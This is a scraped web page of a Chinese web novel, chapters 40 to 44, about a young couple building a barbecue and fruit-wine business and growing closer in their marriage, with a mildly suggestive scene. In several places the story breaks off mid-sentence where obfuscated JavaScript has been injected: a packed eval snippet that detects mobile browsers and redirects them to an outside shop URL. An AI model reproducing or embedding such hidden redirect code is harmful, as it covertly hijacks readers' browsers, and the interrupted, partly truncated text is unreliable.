这一晚虽累，心里是快活的，每个人都满满地成就感。 吉如意偷偷摸了摸腰间的荷包，与霍云铮相视一笑。 他数出十五文，拿给乔哥儿。乔哥儿瞪圆了双眼：“你这是干什么，我是来帮你忙的。” “你听我说，照今天这么看的话，明天你还得来帮我忙活着。一次两次倒还行，三次四次呢？我不能白占了你的便宜，”吉如意将铜板塞进他的手里，“我这里忙不开肯定是要雇人的，雇谁都是要给银子的，你如果同意干，那就先跟着我干。只不过我的生意也不知道会不会每天都这样，我先每天给你结银子，如果后期生意不景气，用不了那么多的人，那……” “那我就不干了。”没等吉如意把后面的话说完，乔哥儿抢着说道。他们俩从小一起长大，又是前后院住着，关系非常好，如果吉如意生意不好，不用他说，他都会主动说不干。 前阵子吉家那个情况，他都替吉如意着急，只恨自己帮不上忙。现在吉如意的危机全都解除了，眼看着日子越过越好，他也跟着高兴。 “那从明天起，你早上收拾好了就过来，中午和我们一块吃。” 一天十五文并不少，地主家的长工一个月也不过三四百文，每天要做的活又多又累。 吉如意给这个价钱也是有考量的，除去下雨天气不能出摊，一个月怎么也能摆上二十天，那乔哥儿就能赚三百文。如果给的太高，乔哥儿也不会同意。 与乔哥儿说定了以后，吉如意又数出两份十文钱，一份给了余小山，一份给了余小川。说辞和乔哥儿的差不多，两兄弟只好将钱收了。 乔哥儿问道：“我看很多客人都是要酒和菜，咱们为什么不从别处别点儿酒一起卖？那些菜意哥儿也能做得出来，咱们自己做呗。” “因为贵。”酒贵，做炒菜还需要另外做一口铁锅，铁锅也很贵。 乔哥儿马上想到了吉如意说的贵是怎么回事，霍云铮打猎确实赚了不少银子，可也花了很多。 光是这些烧烤炉子、铁签就需要很多的钱，还有一些杂七杂八的加在一起，又是不少的银子。 吉如意只怕是没有买酒的银子了，为了留住食客，帮食客代买，这是一种不错的方法。 “我倒是想出了一个主意，”霍云铮坐在最边上，一直护着那些东西，“不如咱们去佘。” “佘？” 几人相互看看，无论是酒还是铁锅都很贵，不认不识的谁会佘给他们？ “铁锅是不能佘的，咱们可以佘酒啊。”酒水的利润很高，没必要将这部分利润白白便宜了别人。很多食客吃完都对烧烤赞不绝口，照这样来看，他们的生意必定不会很差。那么，所需要的酒水也会很多。一个酒馆的老板不动心，两个不动心，总会有动心的。 就连余小山听到这话都忍不住回头看，牛车颠簸了一下，他又马上聚精会神地去赶牛。 吉如意忍不住往他那边凑：“那要怎么佘？” 霍云铮神秘一笑：“这事我去解决，你们放心好了。” 姜临对这个儿婿越发认可：“云铮说得对，如果人家肯佘自然是最好的，不肯佘的话去问一问也不会损失什么。” 酒水一事就这样解决了，至于铁锅，他们再攒一些银子，就去找铁匠打一个。 吉如意看着皓月当空，笑靥如花：“我还有个想法，我想自己酿些酒，就是用果子酿的，就是不知道能不能行。” “这个好啊，”乔哥儿最先同意，“你那年用山葡萄酿出来的酒可好喝了，度数还低，咱们哥儿也能喝。到时可以酿一些度数高的酒和度数低的，这样汉子、哥儿、姐儿都能喝。” 吉如意只会酿山葡萄酒，也是他姥爷流下来的方子。他当大厨时，认识了一个酿酒的师傅，请他吃了顿饭，酒正鼾时，无意说漏了几句，索性他还并未醉的彻底，意识到自己说了什么后就不说了。 因为方子不完整，他们弄了些山葡萄也没酿出来。直到去年，姜临无意把这事说了，吉如意说想要试试，经过他试验几次后，竟真的把酒酿出来了。度数倒是不高，哥儿、姐儿也能喝。 “是啊，虽然今年酿好也卖不了多长时间了，酒又不能坏，咱们可以来年接着卖啊。” 要是换作以前，吉如意万不能说这话的，现在他有了底气，霍云铮给他的底气。 小夫郎说这话时双眼亮晶晶的，仿佛要放出光来，看得霍云铮心痒难耐，悄悄伸出手勾了勾他的小拇指。 吉如意看过来，不动声色地将手指缠得更紧一些。 明明已是深夜，以往这个时间早就睡了，但所有人都毫无睡意，一路说个不停。 吉上进一直没睡，总是到院中张望着。忽然，听到大黑一阵吼叫，吉上进心知大黑应该是听到牛车声了。 果然，没过多久，就听到黑夜中有牛车驶来的声音，越来越近。再过一会儿，听到有人说话声。 “大爹爹，你怎么还没睡？”吉如意由霍云铮扶着下了牛车。 “听到大黑叫，想着应该是你们回来了，就出来看看。” 瞧见大家面带喜色，吉上进就知道生意应该不错。 吉如意还以为大黑把吉上进吵醒了，在它的狗头上轻轻拍了下。 将东西卸下，两兄弟赶着牛车回去了。 简单洗漱后，吉如意和霍云铮回到了自己的房间。 最激动人心的时刻到了！吉如意把铜板哗啦啦从荷包里倒出来，分成两堆：“你数这堆，我数这堆。” 吉如意越数越高兴，越数越高兴，将两人数到的铜板钱加起来，再去掉今天买肉等开销，还有给余小山两兄弟和乔哥儿的，他们足足赚了六两又二十二文！ 今天买肉之前，他们一共有五十一两又二百六十文，姜临早上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516472|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮他们买肉等东西，将零头全花了。也就是说，他们现在有五十七两又二十二文！ 吉如意从来没有自己赚过这么多的银子，高兴地在铜板里面打着滚，滚过来说一句太好了，翻过去说一句要发财了。 一直到他滚够了，才又坐起来，将铜板全都装起来。 又和霍云铮一起把炕重新擦了一遍，又换了身衣服，俩人这才相拥而眠。 “铁签子不够用，明天还要找铁匠再打五百支，”吉如意躺在霍云铮的怀里和他絮絮叨叨地说着话，“顺便问问打一口大铁锅需要多少银子，看看也打一口。到时我和小爹爹一个炒菜，一个烤串。” “都听你的。”霍云铮亲了亲他。 “我还想给家里打口井，等秋收以后了再打。”吉如意慢慢闭上了眼睛，他又困又累，“现在院子里都种了东西，长得好好的也不能砍掉。” “行。” “再去问问大姑做不做签子，我怕现在的人手不够……” 他说话的声音越来越小，这句话说完已经睡着了。 *** 王秋菊他们现在每天差不多能给他们提供五百根签子，乔哥儿他们家刚上手做这个，还有些手生。照目前这个形式来看，这几个人串的签子并不能满足他们的需求，要是再加上霍秀兰也差不多够了，别看霍英年纪小，农人家的孩子干活都早，她也能帮着干些。 吉上进看大家都忙活着，他也闲不住，昨天他们去摆摊，他就在家偷偷做起了签子。 吉如意知道劝不动他，只能让他量力而行，别累着了自己。 吉如意和霍云铮又商量了一下，桌椅还不太够，应该再坐四张桌子和二十把椅子。 霍云铮去找吉勤奋，把这事一说，吉勤奋当即表示没问题。短短几日，他们家已经从吉如意那里赚了不少银子了，谁都跟着高兴。烤串的生意还能再做上一个多月，光是串签子，就能赚不少的银子呢。 把这些事情都安排好后，就要开始着手准备酿果酒了。 经过一番讨论之后。吉如意决定酿树莓酒、笃斯酒、山葡萄酒、鹤莓酒四种。 山葡萄与鹤莓此时尚未成熟不能酿，树莓和笃斯都已经成熟，可以酿酒了。 这些东西山上都有，吉家人没有时间去山上采摘，就放出风去，谁采了来，可以卖给他们家，镇上卖多少钱，他们就给多少。 很多村民都会到山上采菌子、野菜之类的，或卖或吃。也有人会采树莓和笃斯，只是采的人少。尤其树莓不好保存，在背篓里一挤，卖相就不好。而且很多村民固有的思想，还是认为野菜和菌子能填饱肚子，野果子之类的也就解解馋。两者相比，还是填饱肚子更重要。 听到吉家要买，很多人都动了心思，又有人到吉家确认确实要收以后，到山上去采摘了。 只要给银子，卖什么不是卖呢？挖野菜的人多了，去镇上也不那么好卖。而且去镇上还花费时间和精力，不如直接卖给家门口了。 41. 第四十一章 用果子酿酒，需要大量的糖，一斤白糖七十文。以笃斯酒为例，一斤笃斯差不多需要一斤白糖，但一斤笃斯酿不出多少酒来。要想能酿出更多的酒售卖，则需要大量的白糖，这个花销是很大的。 吉如意便打算着除山葡萄酒以外，剩下的酒一样只酿十斤。他没酿过别的酒，若是酿不好，白白糟蹋了银钱。若是酿的好，来年再多酿些也就是了，只不过就要后年才能赚到酿酒的银子。 除此之外，还需要买几个酿酒的缸来，这同样也是需要花银子的。 霍云铮却不这样想：“果子酿酒的套路恐怕都是如此，既然山葡萄酒成功了，其他的没有道理不成功。” 吉如意觉得霍云铮说的有道理：“那你说酿多少呢？” “每样都酿两缸吧，”霍云铮说这话时十分自信，“就是那种可以装一百斤水的缸。” “这么多！” 不光吉如意惊了，吉上进和姜临也没想到霍云铮要酿这么多。 阳光从窗户投射进来，给高大的汉子镀了一层金光，霍云铮穿着普通，举手投足间尽显贵气：“想要多赚银子，自然是要多下本钱投入的。” 吉如意父子三人相互看看，他们的野心没有那么大，只是想着赚些银子，打口井，多买几块地，如果还有闲钱的话，就再重新建座房子。 这就是他们的终极心愿了。 吉如意从震惊中缓过神来，他认真想了一下霍云铮说的话：“就算以后的生意只有昨天的一半好，酿这些酒所需要的糖等东西咱们家也是能买得起的。”更何况他们原本就有了五十两银子呢。 如果真成功了，卖酒可是能赚不少银子的。以前他们家只靠着地和春夏时挖点儿野菜赚点儿银钱，酿酒又不需要动卖粮食的银子。如果不成功，顶多这一夏天白干，就是耗费些力气，农人家最不缺的就是力气。 姜临也在一旁说道：“云铮说得有理，这世上没有稳赚不赔的生意。既然想赚银子，那不多投入是赚不来的，多做些也好。等到意哥儿他们俩有了孩子，咱们也让孩子去读书。供养一个孩子读书，可需要花不少银子呢。” 吉如意有些不好意思地别过脸。 既然决定多酿，那么问题又来了——把酒缸放在哪里？ 酿四种酒，就是八个大缸，屋里放不下。现在倒是还好，可以放在仓房里，可等过阵子天气冷了，缸都会被冻裂，岂不是白酿了？ 霍云铮打开仓房的门走了进去，仓房只有一个小窗户，还是用几块木板拼接着钉成的。夏天的时候会打开通风透气，里面有些昏暗。 角落里摞了几麻袋稻糠，等到天冷的时候还会放一些柴，这样省着总去柴火垛抱柴了。 除此之外，还放着板车、农具等等。 每样东西都整整齐齐地摆放着，一看就是利落人家。 仓房的面积不小，因着不住人，只储存一些不值钱的东西，用料什么的都不太好，四处透着风。 俊美无俦的汉子与昏暗破败的仓房格格不入，吉如意跟在他身后说道：“有的人家连屋子都会上冻，咱们家舍得烧火，屋里倒是不会冻上，但到了冬里最冷的那些日子，一晚上过去了，厨房就会冻上。” 厨房没有取暖设施，只在烧火做饭的时候能暖和一些，等饭做好了，就又冷了。 “咱们把仓房再简单修一下？加一面火墙呢？”霍云铮出着主意。 “这恐怕也不行，你现在是不记得了，等到了冬天你就知道了，咱们的冬天我多冷，”吉如意一眼扫过去，就能看到仓房墙裂着的几条缝。就算把那些缝隙全都补上，外面再加厚一层，屋里再有火墙，怕也是抵抗不了寒风。墙体薄，屋顶用料也差，外面太冷，屋里烧得再多，也起不到什么作用。如果花费太多的银子去修缮很不值得，倒不如推倒了重新建一个了。 “还是得放在屋里。”吉如意继续说道，“咱们的屋里和爹爹们的屋里各放几个，我感觉可以放下。” 俩人又回了屋，开始琢磨着地方，霍云铮看罢后说道：“这样吧，缸买小一些的，多买几个。沿着墙边摆，看看能摆几个。然后再在炕梢那架起一块木板，把缸摆在上面几个。” 吉如意点点头：“这倒是个好办法，就照你说的办。” “我拿尺子量量，今天就把缸买回来。”霍云铮说干就干。 酿酒一事就这样定了，吉如意看着园子伸了个懒腰：“咱家的菜不多了，估计也就够今天的了，咱们也得在村里买点儿菜。” “行，”霍云铮拿着尺子走过来，“这事你看着办就好，等再过几日，我就上山打猎，烧烤的生意就辛苦你了。” 吉如意知道霍云铮的意思，烧烤摊刚摆上他不放心，要跟上几日。上山打猎赚得多，俩人不能都守着这一份生意，烧烤摊缺人可以雇的，也用不了太多的银子。 吉如意轻轻嗯了声，院子里没别人，上前拉住霍云铮的手：“一定要注意安全。” 霍云铮答应着，牵起他的手放在嘴下亲了亲。 姜临满脸笑意地将视线从窗户那收了回来，小两口只以为院中无人，却不想他俩的小动作被两个爹爹在屋子里看了个正着。 姜临和吉上进相视一笑，谁都没说什么。 眼下没什么活，俩人回了屋里，打算歇会儿。 吉如意看着霍云铮量尺寸，心里还是有些忐忑：“书里会不会有酿酒的方子呢？张秀才总是说什么‘书中自有颜如玉，书中自有黄金屋’，不如咱们到书铺看看？” 吉如意不识字，他不确定霍云铮还记不记得，但余家两兄弟都是识字的，可以让他们帮着看看。 “你说得有道理，不如这样，今天咱们到那以后，你们去摆摊，我去买缸佘酒去书铺。”霍云铮已经量完了尺寸，暗暗记在心中，“等我办完了这几件事再去摊子那找你。” 吉如意自然是答应的：“行，就照你说的这么办。” 乔哥儿早早地就来了，他们一家人知道他得了这份工，都很高兴。他家只不过是普通家庭，日子也过得紧紧巴巴的。 “怎么来得这样早？你再过半个时辰也来得及。” “我这不是怕耽误了事，早些做，做完了歇着也是一样的。” 两个哥儿有说不完的话，说说笑笑地干起活来时间过得飞快。 姜临和霍云铮也来忙活着，吉上进甚至也能过来串串，让他去歇着也不歇，只说坐着干这活又不累。 全都准备好后，牛车已经赶来了，今天是余小川赶的，大家把东西全都摆在了牛车上。 霍云铮嘱咐两兄弟他今天要出去一会儿，让他们俩多照应一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529542|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 俩兄弟忙答应着，深感责任重大。 进了平安镇以后，霍云铮就跳下了牛车。 他打算先去书铺看看，书铺关门的早，再说买书也快。 书铺掌柜十分热情地接待了他，听到他想买有关酿酒方面的书，书铺掌柜顿觉可惜，但面上热情不减。 好好的一个俊秀后生，不好好看些和科举有关的书，看些杂书。 镇上的书铺不大，书也少，毕竟除了读书人很少有人会来买，而这四里八乡的读书人也没那么多。 “杂书都在那边，你说的那种书我也不知道有没有，”书铺掌柜告诉了他一个位置，“这么多年也没有人买过，兴许我曾经卖过，我也不记得了，你找找吧。” 霍云铮点点头：“你先忙，我自己看看。” 书铺老板心想，还是个懂礼的后生。 霍云铮找了一会儿，还真找出了一本书，书上已经落了一层薄薄的灰，也不知道是哪一年的了，他大概翻了几下，字迹清晰，没被水淹虫蛀，是可以看的。 书里面详细介绍了各地的名酒，看来作者是个好酒之人。对于酿制方法倒没怎么介绍，不过是顺带一提。想着应该有用，霍云铮决定买下它：“掌柜的，这本多少银子？” 书铺掌柜看了一眼：“这本书也不知压了多久，算你个实惠价，一百文吧。” 这么一本书还一百文，要是买科举有关的书不知要贵多少。看来要是想以后送孩子念书，必须得多赚些银子才行。 霍云铮付了银子，拿着书刚要往外走，忽然又停住了。 “掌柜的，有那种成亲后看的书吗？” 霍云铮想的很简单，他和吉如意每天晚上都很难受，这不是病，也没法看大夫。问别人也没人问，而且也问不出口，那就花点儿银子找本书看看是怎么回事，要不然总这么下去也不是个办法。 书铺掌柜忙将他拉回到最里面：“是哥儿还是姐儿？” 霍云铮道：“是哥儿，我们刚成亲不久。” 那就不能看太激烈的，这种适合成婚已久的夫夫看。 “你等着。” 书铺掌柜走到最里面拿出了一个用布包着的书：“你来的太巧了，这是今天刚到的，你要是再晚些来就卖没了。” 霍云铮惊讶：“这么多人买？” “可不是吗，”书铺掌柜一脸得意地笑，“汉子都爱看这个。” 原来这么多人都这样，他问道：“怎么卖？” “一两银子。” “这么贵？” “东西好自然贵，你看完就知道银子没白花。” 霍云铮一想也是，只要是能让他和吉如意晚上不难受，这一两银子还是值得的。 吉如意一共给了他二两银子，让他留着平时花。 他付了银子，从书铺掌柜手里拿过书，刚要将布掀开。 “回去再看，回去再看。” 霍云铮总觉得书铺掌柜看他的眼神怪怪的，他将书揣起来走了。 走了没多一会儿，还是没忍住将书拿出来，将布包打开，封面是两个半.裸着的拥抱在一起的两个人，他又随便翻开了一页，腾地满脸通红，急急忙忙将书塞进了怀里。 那上面，画着两个光着身子，纠缠在一起的人。 42. 第四十二章 熙熙攘攘的街头，烧红了脸的汉子不知所措，那一瞬间，所有的声音都忽然消失，仿佛天地之间只剩下他一人。 有人撞了他一下，忽地，小贩叫卖声，讨价还价声，车轮滚动声，各色声音声声入耳，霍云铮手忙脚乱地给人让路。 他慢慢地往前走着，原来是这样！竟然是这样！ 他真是蠢得透顶！就连动物都会遵循本能的事情，他竟然不知道！ 迎面吹来一缕清风，他拉拉脖领，缓解了一丝燥热。 霍云铮深吸一口气，试图把刚才看到的画面从脑袋里甩出去，他还有两件正事要办呢。等晚上没事了，没事了再…… 他先是买了八口大缸，花了五百六十文，一会儿让余小山赶牛车过来取。买缸时和掌柜的闲谈了几句，问他哪里的酒好，掌柜的给他指了一条街，说那里都是卖酒的，当属胡记酒坊里的酒最受欢迎。 霍云铮到了胡记酒坊，把来意一说。起初，酒坊掌柜当然不同意他赊账，说干了这许多年，还没未有人一口气佘这么多酒的。 霍云铮将佘酒的利弊一说，掌柜的动心了，但他做不了主，便让他等着，他去找东家问问。 霍云铮今天来的巧，正好东家过来查账，东家四十多岁，世代都是在平安镇里卖酒的。 听完霍云铮所说，东家沉思良久，最终决定将酒佘给他。 还让伙计亲自给他送去，霍云铮走后，掌柜的问东家：“东家，你真确定真能像他说的卖出去那么多？” 霍云铮在和他谈佘酒时，“不经意”地提了句他与福满堂的刘掌柜交好，这才是胡记东家决定佘酒给他的真正原因。 平安镇小，都是关系套着关系的，福满堂也是他们的大主顾，看在刘掌柜的面子上，这个人情他还是能给的。 刘掌柜这个人他熟悉，他能看得上眼的人想必定有过人之处。而且经过方才的交谈，他也认定眼前这人非池中之物，这小小的平安镇一定困不下他，不如在他尚未飞黄腾达这时就卖他个人情。 酒卖不出去，顶多再拿回来他们再卖就是。 “我昨日听说那边的夜市新开了家烧烤，味道十分不错，那家就是他家，”东家没有将自己的全部打算说出，“烤串的生意好，酒水生意定是也差不了。” *** 今天的生意依旧很好，甚至他们还没到，就已经有人等着了。 有个汉子笑的十分豪爽：“你们可算来了，我昨天吃完了回去和他们说，今天要带他们去吃很好吃的烤串，他们可从昨天晚上就开始惦记呢。” 吉如意对他有些面熟，昨天他是跟几个朋友来吃的，今天带着娘子和几个孩子来，看来是个顾家的。 吉如意忙笑道：“客官久等了，快找个地方坐下。想吃什么，先告诉我，不过得等上一会儿，我这刚来，还得引火。” “不着急，你慢慢弄，吃美食就是要有耐心等的，娘子你说是不是？”汉子挑了张最里面的桌，先让娘子坐下后，他坐在娘子旁边，几个孩子各自拿着凳子围着他们坐下。 他们刚坐下没多久，又来了四个人，个个都膀大腰圆的，找了个地方坐下就问都有什么好吃的。 余小山忙去招呼，乔哥儿悄悄地拉扯吉如意的衣袖：“你看那几个人长得多壮，肯定吃得多，是笔大买卖。” 吉如意偷偷一笑，拍了他一把。 今天他们多加了几道凉菜，依旧是吉如意负责烤串，姜临负责拌凉菜，乔哥儿给他打下手。 余小山和余小川跑堂兼帮食客采买东西。 “有酒吗？来壶酒！” 有人要着酒，余小山帮过去招待：“请几位客官耐心等等，我们掌柜的一会儿就将酒带回来了。”这也是霍云铮交代他的说辞，好在烤串还没那么快上来，那些食客也就没着急。 等霍云铮回来的时候，六张桌已经坐满了。 余小山和余小川一看霍云铮将酒佘回来了，高兴之余马上高声喊道：“酒来了！酒来了！哪位客官要酒？” 有人问：“都有什么酒啊？” 霍云铮站在最前面，给大家介绍：“我们的酒都是胡记酒坊的酒，有高粱酒和玉米酒，不知几位客官想喝哪种？” 众人一听是胡记酒坊的酒，都很感兴趣，谁不知胡记的酒好？ “给我来壶高粱酒！” “给我来壶玉米酒！” 霍云铮回来的时候顺道将酒壶和酒杯买了，十个酒壶，四十个酒杯，一共花了三百文钱。 乔哥儿忙接过酒壶和酒杯，在盆里用水清洗并擦拭干净。夜市有口井，供大家使用，不过是得花银子的，一天另交三文钱。 未免食客等得着急，霍云铮便随便与他们聊着天。他长得好看，举手投足间一派自然而成的贵气，很容易让人忽略身上的那身粗布衣裳。 所有人都看向他，就连过路的都不自觉地停下脚步去看。 吉如意烤串之余回头去看，霍云铮谈笑风生，周身好像在放光。 “酒来了！酒来了！” 乔哥儿已经将酒壶和酒杯清洗干净，并将酒倒入了壶里，余小山两兄弟忙将酒端了上来。 霍云铮适时地退出，有食客冲着吉如意大声喊道：“你这个小哥儿好生的福气，找了这么一位好相公！” 吉如意抿着唇笑，霍云铮朝着那食客拱拱手：“哪里哪里，我家夫郎才是最优秀的。” 一众食客都笑了，霍云铮又叫来了余小山，叫他赶车把缸取回来。 余小山答应着，擦把手走了。 霍云铮来到吉如意身边，轻声问道：“累吗？” “不累，才刚来。”吉如意熟练地将烤串翻了个面。 好不容易把刚才看到的东西从脑袋里甩出去，这会儿又都回来了。 “我……”霍云铮有些口干舌燥。 “怎么了？”小夫郎敏锐地感觉出相公的不对。 霍云铮又往他那里凑了凑：“晚上回去给你看样东西。” “看什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好说好说。”刘三答应着，这话到底是真到底是假谁都没有在意。 姜临见霍云铮拿着烤串半天没回来，便过去问吉如意，吉如意就将此事说了。 姜临没想到霍云铮竟能与官府的人聊上这么久，感叹道：“咱们小百姓见了官跟见了耗子似的，云铮真是个了不起的，你这个相公真是嫁对了人。” 今天的生意依旧很火爆，他们今天比昨天多准备了不少食材，也都卖光了。 夜深了，送走了最后一桌客人，众人开始收摊。今天车上还有几口大缸，再摆放桌椅等东西就不像昨天那样宽松。三个汉子负责把这些东西都固定在牛车上，吉如意等人将地扫了一遍，又把地上的油渍用水洗了，这才算完事。 一行人坐着牛车回家，黑暗中，霍云铮握住了吉如意的手。 吉如意回望过去，怎么感觉他今天怪怪的？ 43. 第四十三章 到家洗漱完毕后，吉如意盘腿坐在炕上，双眼放出光来：“一文，两文，三文……一共是十三两又三百一十五文！” “不过这里面还有佘来的酒水银子，得把这部分去掉，让我再算算，去掉这部分，还有签子钱，雇工钱，咱们的纯利润会有多少。” 从上方投下来一处阴影，吉如意头也不抬：“你挡到我光了，让一让。” “如意……”汉子声音沙哑，喉结上下滚动，“先别查了，明天再查吧。” 吉如意正在兴头上，有心还想再查，忽地被霍云铮攥住手腕，他抬头去看，却见霍云铮看他的眼神和平常不太一样，就像，就像要把他吃了。 吉如意一划拉，将铜板都装进匣子里：“那我明天再算，我把炕擦一下，把被铺上睡觉吧。” 吉如意做完这些后，又出去洗了洗手，回来的时候就见霍云铮已经躺下了。 “对了，你不是说要给我看什么东西吗？”吉如意边说着边上了炕，挨着霍云铮躺下。 霍云铮脸上泛着可疑的红，他方才趁着吉如意去洗手的时候又翻了几下。原来不光可以这样，还可以那样。 霍云铮没说话，拉过被子从头盖到脸，只把眼睛露出来，用手一指枕头边露出一角的书。 “你怎么盖得这么严实？不热吗？”貌美的小哥儿显然不知道一会儿会发生什么，他趴在炕上，随意将书抽出来，翻开了一页。猛地，像被烫到了似的将书扔在一旁，也想扯过被子将自己捂得严实。 高大的汉子已经覆了过来，将那本书重新塞到吉如意的手中，握着他的手，与他一起一页一页地翻看着。 小哥儿避无可避，也好奇地厉害，忍着羞臊看完了最后一页，霍云铮将书扔到一旁，吹灭了油灯。 *** 吉如意今天比往日起得晚一些，霍云铮神清气爽地站在院中洗漱：“小爹爹，如意还没睡醒，先不要叫他了，等他醒了我再做给他吃。” 姜临没多想，只以为吉如意这几天摆摊累了：“这几天也真是辛苦你们了，我给如意留出来一份放锅里热着，等他醒了就能吃了。” 霍云铮吃过早饭，又把家里的杂活干完了，还有两个村民上门来问要不要菜的，霍云铮说是要，让他们把菜直接拿过来就好，和镇上给的价钱一样。俩村民喜不自胜，忙回家薅菜去了。 吉如意还没起来，他怕饿坏了他，就进屋寻他。 小哥儿听到他进来的声音，忙将被子拉过头顶，将自己盖得严严实实的。 霍云铮看在眼里，知道他醒了，便过去拉他的被子：“如意？如意？” 吉如意装作没醒，一想到昨晚，脸还火辣辣的。 “我把饭端给你？” “别，我起来吃。” 在被窝里吃饭成什么样子，吉如意刚要起身，又发现自己什么都没穿：“你，你先出去，我穿衣服。” 明明他和霍云铮已经坦诚相见有段时日了，之前没觉得怎样，可发生了昨晚的事，他有一种莫名的羞耻感。 霍云铮也不逼他，抱着被子将他一并揽在怀里，在他的耳朵尖亲了一口，退出去把门关上了。 吉如意呼出一口气，起来三下五除二将衣服穿上，走了出去。 霍云铮已经把饭摆在了桌上，还特意给他煮了颗鸡蛋。 吉如意摸摸发烫的耳朵，坐过去将碗端起。 霍云铮陪在他身边，小声问：“难受吗？” 吉如意摇摇头，不难受，就是浑身酸痛，像是被车轮碾过一样。 估计是头一次被重物压，再过几次适应了就好了。 姜临在和霍云铮刷缸，新买回来的缸得好好刷干净了再酿酒。 “这是昨天村民们采回来的笃斯。”吉上进拿出一大筐的笃斯，大概有十多斤。 霍云铮见状忙撇下缸，缸底转了几圈又稳稳地立住了，大黑转圈的缸吼叫几声。 “我来我来。”霍云铮忙从吉上进手中接过筐，“这种重活还是交给我吧，您快歇着。” “你们别什么都不让我干，我感觉最近这段日子身体比之前好多了，你们不在家时，这都是我自己搬屋里去的。”吉上进活动了一下胳膊，笑呵呵的，他说这话不是在逞强，是真的觉得身体好了很多。 霍云铮道：“那你也要一点儿一点儿的来，不要一下子就拎这么重的东西。” “这算什么，没生病之前我能扛动二百斤的大包呢。” 姜临白了他一眼：“孩子心疼你，不让你累着，你就听孩子的。在那说什么能扛动二百斤大包？你要是能扛，现在就扛去。” “在孩子面前给我留点儿面子。”吉上进走到姜临身后，伸手给他捏捏肩。 吉如意和霍云铮相视一笑，继续干着手里的活计。 “银子我都付了。”吉上进看着霍云铮说道，用的就是吉如意留给他的银子。这些日子，他眼看着两个孩子越过越好，打心眼里高兴。来卖笃斯的村民都夸两个孩子，又说他们老两口有福气。别管他们是不是为了卖笃斯才对他说的好话，他听着心里就是美。 他和姜临只生了吉如意一个哥儿，村里有些人因俩人没生汉子，明里暗里地欺负他家。虽有一些人嘴里没说什么，但心里也瞧不起。 还是头一次有这么多人恭维他，说不高兴是假的，他终于也能扬眉吐气一回了。 吉如意到底是年轻，身体健康，又干惯了农活，吃完饭后活动了一番后，也就不觉得怎样了。 但霍云铮心疼他，白天几乎没让他干什么活，晚上烤串时，在他旁边搭着手，等没人时，就用那种黏黏糊糊地眼神看着他，看得吉如意浑身发烫。 今晚的生意依旧很好，快要进村的时候，忽然不知从哪里传来一声悠长的狼叫。 余小山忙停住牛车，余小川仗着胆子提灯来回去看。 “这，这是狼叫吧？” 乔哥儿紧紧抓住吉如意的胳膊，将整个身子缩了起来：“应，应该是，听起来声音离这里还不远。” 霍云铮一手拍拍吉如意让他放心，另一只手摸到了放在车上的弓箭上。 他天天都带着的，就怕遇到危险。 “快走！”他催促着。 余小山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余小山：“啊？？？” 吉如意又朝外面望去，黑漆漆的，别说大黑了，就连只耗子都没有。 “别看了，回去睡觉吧。”霍云铮从后面环抱住他，将大门关了。 “大黑——” 不会又这么跑了吧？ “大黑肯定会回来的，”霍云铮说这话也不是完全地安慰他，之前大黑都回来了，没有道理这次不回来，“再等两天，正好我也要进山打猎了，到时在山上找找它。” 吉如意点点头，只能如此了。 干了一天的活，又跟着霍云铮折腾了半宿，吉如意沉沉睡去。 天色将明，几人被一阵急切地挠门声惊醒。 霍云铮马上披起衣服坐起来，在睡眼惺忪的吉如意脸上亲了亲：“你先睡着，我出去看看。” 挠门的正是昨晚跑了的大黑，霍云铮将门打开一条缝，大黑马上钻了进来，后面还跟着一头狼。 44. 第四十四章 大黑顺着门缝钻进来了，站在霍云铮身后用鼻子嗅来嗅去。 霍云铮看着那头狼，那狼同样回望着他。一人一狼面面相觑，最后，还是霍云铮让了路，那狼贴着他的腿走了进来，跟大黑一道去了它的窝。 霍云铮一回头，就见吉如意站在不远处一动不敢动。 他走过去将他护在身后：“我看这条狼肚子滚圆，只怕是怀了崽子。” “啊？”吉如意若有所思，“大黑这是当了负心汉，被人家找上门来了？” 再看那头狼，就没那么害怕了，甚至还带了几分同情。 吉如意见大黑带着狼往它的狗食盆子那去：“狼是不是都吃肉啊？得看着家里的鸡，别让它给吃了。” 吉如意把大黑叫到跟前嘀嘀咕咕说了一阵，也不知道大黑听明白了没有，大黑回去和那头狼又贴了贴，狼吃饱喝足后，又从开着的大门跑了。 吉如意忙跟过去看，它跑得很快，没一会儿就不见了踪影。幸好是早上，街上没有人，否则非把人吓坏了。 这次大黑没有跟上去，站在门口看了很久，又甩着尾巴回来了。 吉如意低头问它：“你不跟着去吗？” 